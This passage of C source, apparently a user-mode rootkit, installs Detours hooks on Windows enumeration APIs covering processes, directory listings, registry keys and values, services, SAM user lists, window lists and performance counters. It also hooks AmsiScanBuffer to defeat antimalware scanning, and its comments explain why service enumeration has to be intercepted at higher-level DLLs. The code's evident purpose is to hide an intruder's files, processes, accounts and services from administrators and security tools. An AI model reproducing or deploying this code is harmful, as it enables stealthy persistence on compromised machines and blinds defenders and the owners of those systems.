| 40 | static DWORD TlsNtEnumerateValueKeyCacheCorrectedIndex; |
| 41 | |
| 42 | VOID InitializeHooks() |
| 43 | { |
| 44 | DetourTransactionBegin(); |
| 45 | DetourUpdateThread(GetCurrentThread()); |
| 46 | InstallHook("ntdll.dll", "NtQuerySystemInformation", (LPVOID*)&OriginalNtQuerySystemInformation, HookedNtQuerySystemInformation); |
| 47 | InstallHook("ntdll.dll", "NtResumeThread", (LPVOID*)&OriginalNtResumeThread, HookedNtResumeThread); |
| 48 | InstallHook("ntdll.dll", "NtQueryDirectoryFile", (LPVOID*)&OriginalNtQueryDirectoryFile, HookedNtQueryDirectoryFile); |
| 49 | InstallHook("ntdll.dll", "NtQueryDirectoryFileEx", (LPVOID*)&OriginalNtQueryDirectoryFileEx, HookedNtQueryDirectoryFileEx); |
| 50 | InstallHook("ntdll.dll", "NtQueryKey", (LPVOID*)&OriginalNtQueryKey, HookedNtQueryKey); |
| 51 | InstallHook("ntdll.dll", "NtEnumerateKey", (LPVOID*)&OriginalNtEnumerateKey, HookedNtEnumerateKey); |
| 52 | InstallHook("ntdll.dll", "NtEnumerateValueKey", (LPVOID*)&OriginalNtEnumerateValueKey, HookedNtEnumerateValueKey); |
| 53 | InstallHook("win32u.dll", "NtUserBuildHwndList", (LPVOID*)&OriginalNtUserBuildHwndList, HookedNtUserBuildHwndList); |
| 54 | InstallHook("advapi32.dll", "EnumServicesStatusA", (LPVOID*)&OriginalEnumServicesStatusA, HookedEnumServicesStatusA); |
| 55 | InstallHook("advapi32.dll", "EnumServicesStatusW", (LPVOID*)&OriginalEnumServicesStatusW, HookedEnumServicesStatusW); |
| 56 | InstallHook("advapi32.dll", "EnumServiceGroupW", (LPVOID*)&OriginalEnumServiceGroupW, HookedEnumServiceGroupW); |
| 57 | InstallHook("advapi32.dll", "EnumServicesStatusExA", (LPVOID*)&OriginalEnumServicesStatusExA, HookedEnumServicesStatusExA); |
| 58 | InstallHook("advapi32.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW, HookedEnumServicesStatusExW); |
| 59 | InstallHook("sechost.dll", "EnumServicesStatusExW", (LPVOID*)&OriginalEnumServicesStatusExW2, HookedEnumServicesStatusExW2); |
| 60 | InstallHook("ntdll.dll", "NtDeviceIoControlFile", (LPVOID*)&OriginalNtDeviceIoControlFile, HookedNtDeviceIoControlFile); |
| 61 | InstallHook("samlib.dll", "SamEnumerateUsersInDomain", (LPVOID*)&OriginalSamEnumerateUsersInDomain, HookedSamEnumerateUsersInDomain); |
| 62 | InstallHook("samlib.dll", "SamQueryDisplayInformation", (LPVOID*)&OriginalSamQueryDisplayInformation, HookedSamQueryDisplayInformation); |
| 63 | InstallHook("pdh.dll", "PdhGetRawCounterArrayW", (LPVOID*)&OriginalPdhGetRawCounterArrayW, HookedPdhGetRawCounterArrayW); |
| 64 | InstallHook("pdh.dll", "PdhGetFormattedCounterArrayW", (LPVOID*)&OriginalPdhGetFormattedCounterArrayW, HookedPdhGetFormattedCounterArrayW); |
| 65 | InstallHook("amsi.dll", "AmsiScanBuffer", (LPVOID*)&OriginalAmsiScanBuffer, HookedAmsiScanBuffer); |
| 66 | DetourTransactionCommit(); |
| 67 | |
| 68 | // Usually, ntdll.dll should be the only DLL to hook. |
| 69 | // Unfortunately, the actual enumeration of services happens in services.exe - a protected process that cannot be injected. |
| 70 | // The EnumService* methods from advapi32.dll access services.exe through RPC. |
| 71 | // There is no longer one single syscall wrapper function to hook, but multiple higher level functions. |
| 72 | |
| 73 | // The same applies to a select few other functions as well. HOWEVER: Any function that is exposed in ntdll WILL be hooked there, not in higher level DLLs. |
| 74 | |
| 75 | TlsNtEnumerateKeyCacheKey = TlsAlloc(); |
| 76 | TlsNtEnumerateKeyCacheIndex = TlsAlloc(); |
| 77 | TlsNtEnumerateKeyCacheI = TlsAlloc(); |
| 78 | TlsNtEnumerateKeyCacheCorrectedIndex = TlsAlloc(); |
| 79 | TlsNtEnumerateValueKeyCacheKey = TlsAlloc(); |
| 80 | TlsNtEnumerateValueKeyCacheIndex = TlsAlloc(); |
| 81 | TlsNtEnumerateValueKeyCacheI = TlsAlloc(); |
| 82 | TlsNtEnumerateValueKeyCacheCorrectedIndex = TlsAlloc(); |
| 83 | } |
| 84 | VOID UninitializeHooks() |
| 85 | { |
| 86 | DetourTransactionBegin(); |
no test coverage detected